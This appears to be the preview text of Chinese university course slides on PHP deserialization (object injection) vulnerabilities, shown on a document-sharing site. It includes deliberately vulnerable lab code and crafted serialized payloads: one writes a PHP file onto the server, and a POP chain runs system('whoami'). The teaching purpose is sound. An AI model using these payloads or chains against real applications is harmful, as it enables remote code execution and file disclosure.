Web應用安全技術原理與實踐 課件 第8章 Web服務器端安全-8.6反序列化漏洞原理與防御_第1頁
Web應用安全技術原理與實踐 課件 第8章 Web服務器端安全-8.6反序列化漏洞原理與防御_第2頁
Web應用安全技術原理與實踐 課件 第8章 Web服務器端安全-8.6反序列化漏洞原理與防御_第3頁
Web應用安全技術原理與實踐 課件 第8章 Web服務器端安全-8.6反序列化漏洞原理與防御_第4頁
Web應用安全技術原理與實踐 課件 第8章 Web服務器端安全-8.6反序列化漏洞原理與防御_第5頁
已閱讀5頁,還剩15頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

Web應用安全第八章Web服務器端安全--8.6反序列化漏洞原理與防御2反序列化漏洞原理序列化和反序列化在傳遞或保存數(shù)據時,為了不丟失數(shù)據類型信息,需要將原始數(shù)據信息(數(shù)據類型和數(shù)據值)轉換為字符串形式(序列化),然后在適當?shù)臅r候根據數(shù)據的字符串形式恢復原始數(shù)據信息(反序列化)PHP語言相關函數(shù)序列化:serialize;反序列化:unserializePHP語言標量序列化和反序列化NULL類型數(shù)據序列化為“N;”。boolean類型數(shù)據序列化成(true)“b:1;”或(false)“b:0;”。integer類型數(shù)據序列化為“i:<number>;”,其中<number>為一個整型數(shù)。double型數(shù)據序列化為“d:<number>;”,其中<number>為浮點型數(shù)。string型數(shù)據序列化為“s:<length>:<value>;”,其中<lenth>表示字符串的長度,<value>表示字符串的值。3反序列化漏洞原理PHP語言標量序列化和反序列化示例<?php$ob1=NULL;$ob2=true;$ob3=123456;$ob4=3.1415926;$ob5="Teststring";$str1=serialize($ob1);print("NULL類型數(shù)據序列化:{$str1}<br>");$str2=serialize($ob2);print("boolean類型數(shù)據序列化:{$str2}<br>");$str3=serialize($ob3);print("integer類型數(shù)據序列化:{$str3}<br>");$str4=serialize($ob4);print("double類型數(shù)據序列化:{$str4}<br>");$str5=serialize($ob5);print("string類型數(shù)據序列化:{$str5}<br>");$u5=unserialize($str5);print("反序列化string類型數(shù)據:{$u5}<br>");$u4=unserialize($str4);print("反序列化double類型數(shù)據:{$u4}<br>");$u3=unserialize($str3);print("反序列化integer類型數(shù)據:{$u3}<br>");$u2=unserialize($str2);if($u2==true){print("反序列化boolean類型數(shù)據:true<br>");}else{print("反序列化boolean類型數(shù)據:false<br>");}$u1=unserialize($str1);if($u1==NULL){print("反序列化NULL類型數(shù)據:NULL<br>");}?>4反序列化漏洞原理PHP語言數(shù)組數(shù)據的序列化和反序列化a:n:{<key1>;<value1>;<key2>;<value2>;……;<keyn>;<valuen>;}<?php$ob=array(2,"haha2008","carl"=>"1003","3"=>"bob");$str=serialize($ob);print("數(shù)組類型序列化:{$str}<br>");$uob=unserialize($str);print("反序列化后的數(shù)組為:");print_r($uob);?>5反序列化漏洞原理PHP語言對象數(shù)據的序列化和反序列化O:<length>:"<classname>":<n>:{<f1>;<v1>;<f2>;<v2>;……;<fn>;<vn>}<?phpclassTestA{

private$id;//工位編號

public$name;//姓名

protected$salary;//報酬

publicfunction__construct($id,$name="Zhangsan",$salary="8800"){

$this->id=$id;$this->name=$name;$this->salary=$salary;}}$ob=newTestA(1001);$str=serialize($ob);print("對象數(shù)據序列化:{$str}<br>");$uob=unserialize($str);print("對數(shù)數(shù)據反序列化:");print_r($uob);?>私有屬性:\00類名\00保護屬性:\00*\006反序列化漏洞原理PHP語言中序列化和反序列化的魔術方法方法__sleep方法__wakeupclassTestA{

private$id;//工位編號

public$name;//姓名

protected$salary;//報酬

publicfunction__construct($id,$name="Zhangsan",$salary=“6600"){

$this->id=$id;$this->name=$name;$this->salary=$salary;}

publicfunction__sleep(){

returnarray("id","name");}//將id和name序列化

publicfunction__wakeup(){

$this->salary="8800";}//將沒有序列化的對象屬性補充完整

}$ob=newTestA(1001);$str=serialize($ob);print("對象數(shù)據序列化:{$str}<br>");$uob=unserialize($str);print("對數(shù)數(shù)據反序列化:");print_r($uob);7反序列化漏洞原理漏洞原理示例反序列化所需要的數(shù)據能被攻擊者控制,而引發(fā)的攻擊行為,這樣就形成了反序列化漏洞。CWE-502、CWE-915。也稱為對象注入漏洞classStudent{//學生信息類public$id;public$name;public$grade;public$log;

publicfunction__construct($id,$name,$grade){

$this->id=$id;$this->name=$name;$this->grade=$grade;}

//反序列化時,在日志文件中記錄信息

publicfunction__wakeup(){

$str=$this->id."/".$this->name."/".$this->grade."\r\n";

$this->log=newLog($str);unset($this->log); }}classLog{//日志信息類

public$logfile;public$str;

publicfunction__construct($str){

$this->logfile="log/log.txt";$this->str=$str;}

publicfunction__destruct(){//記錄日志信息$fd=fopen($this->logfile,"a+");fwrite($fd,$this->str);fclose($fd);}}$data=$_GET['data'];$s=unserialize($data);print("其他業(yè)務邏輯,這里略過......<br>");8反序列化漏洞原理漏洞原理示例期望輸入的序列化數(shù)據—Student類的序列化數(shù)據<?phpclassStudent{public$id;public$name;public$grade;}//學生信息類$s=newStudent();$s->id=1001;$s->name="alice";$s->grade=98;$data=serialize($s);print($data);?>O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}http:///serial/t5.php?data=O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}9反序列化漏洞原理漏洞原理示例非期望輸入的序列化數(shù)據—Log類的序列化數(shù)據<?phpclassLog{//日志信息類public$logfile;public$str;}$s=newLog();$s->str="<?phpphpinfo();?>";$s->logfile="c:/websec2023/serial/log/aaa.php";$data=serialize($s);print(urlencode($data));?>O:3:"Log":2:{s:7:"logfile";s:32:"c:/websec2023/serial/log/aaa.php";s:3:"str";s:18:"";}URL編碼O%3A3%3A%22Log%22%3A2%3A%7Bs%3A7%3A%22logfile%22%3Bs%3A32%3A%22c%3A%2Fwebsec2023%2Fserial%2Flog%2Faaa.php%22%3Bs%3A3%3A%22str%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D10反序列化漏洞原理反序列化漏洞原理總結當程序邏輯期望輸入對象A的序列化數(shù)據,但是輸入了對象B的序列化數(shù)據,從而引發(fā)對象B的反序列化的一些方法調用,在這些調用中存在危險操作,從而引發(fā)漏洞。用戶可以控制輸入的序列化數(shù)據反序列化漏洞的核心關鍵點輸入的序列化數(shù)據在反序列化過程中,會引發(fā)危險操作觸發(fā)漏洞簡單情況:反序列化過程中的危險操作只涉及單一對象復雜情況:反序列化過程中的危險操作涉及多個對象—POP鏈11反序列化漏洞原理POP鏈的構造PHP語言中的魔術方法—總共17個,這里介紹典型魔術方法__toString方法—當類的對象被當做字符串處理時調用classA{

public$des="這是一個測試類";

publicfunction__toString(){

return$this->des;

}}$a=newA;print($a);//這是一個測試類__construct方法—對象創(chuàng)建時調用__destruct方法—對象銷毀時調用當對對象執(zhí)行某些操作時會先自動調用的方法,稱呼為魔術方法12反序列化漏洞原理POP鏈的構造PHP語言中的魔術方法__invoke方法--當以調用函數(shù)的方式調用一個對象時<?phpclassA{

publicfunction__invoke($value){

print("對象被調用,輸入參數(shù)為{$value}");

}}$a=newA;$a("abc");//對象被調用,輸入參數(shù)為abc?>13反序列化漏洞原理POP鏈的構造—初級示例反序列化漏洞程序示例1<?phpclassA{public$target;function__construct(){$this->target=newB;}function__destruct(){$this->target->action();}}classB{functionaction(){echo"actionB<br>";}}classC{public$test;//關鍵屬性functionaction(){

echo"actionA<br>";system($this->test);}}if(empty($_GET['test'])){highlight_file(__FILE__);}else{unserialize($_GET['test']);}?>14property-orientedprogramming(面向屬性編程)反序列化漏洞利用過程分析用戶能力:控制了注入的反序列化數(shù)據,可以注入任意對象用戶目標:設置C類中$test屬性,執(zhí)行system函數(shù)如果注入B類或C類的對象,后續(xù)沒有任何操作被執(zhí)行;如果注入A類的對象,對象創(chuàng)建時和銷毀時,魔術方法被執(zhí)行反序列化漏洞原理POP鏈的構造—初級示例選擇A類對象為注入對象POP鏈條的起點:A類__destruct方法POP鏈條的終點:C類action方法完整的POP鏈條:A類__destruct

A類的target屬性設置為C類對象

C類的test屬性設置為執(zhí)行命令(如whoami)

C類的action方法

system方法執(zhí)行命令15反序列化漏洞原理POP鏈的構造—初級示例注入對象構造<?phpclassA{public$target;}classC{public$test="whoami";}$a=newA();$a->target=newC();$s=serialize($a);print($s);print("<br>");print(urlencode($s));?>O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:6:"whoami";}}O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22target%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D16反序列化漏洞原理POP鏈的構造反序列化漏洞程序示例2//flag在文件flag.php中classReadFile{public$filename;//保存要讀取的文件名

publicfunctionread_file(){//讀取文件

$text=base64_encode(file_get_contents($this->filename));return$text;}publicfunction__invoke(){$con=$this->read_file();print($con);return"ReadFile";}}classShowFile{public$source;public$namepublicfunction__construct(){$this->name="ShowFile"; }publicfunction__toString(){$name=$this->name;return$name();}publicfunction__wakeup(){

if($this->source=="flag.php"){exit("非法文件<br>");}}}if(isset($_GET['data'])){unserialize($_GET['data']);}else{highlight_file(__FILE__);}17反序列化漏洞原理POP鏈的構造反序列化漏洞利用過程分析用戶能力:控制了注入的反序列化數(shù)據,可以注入任意對象用戶目標:讀取flag.php文件中的內容(直接訪問被拒絕)如果注入ReadFile對象,后續(xù)沒有任何操作被執(zhí)行;如果注入ShowFi

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論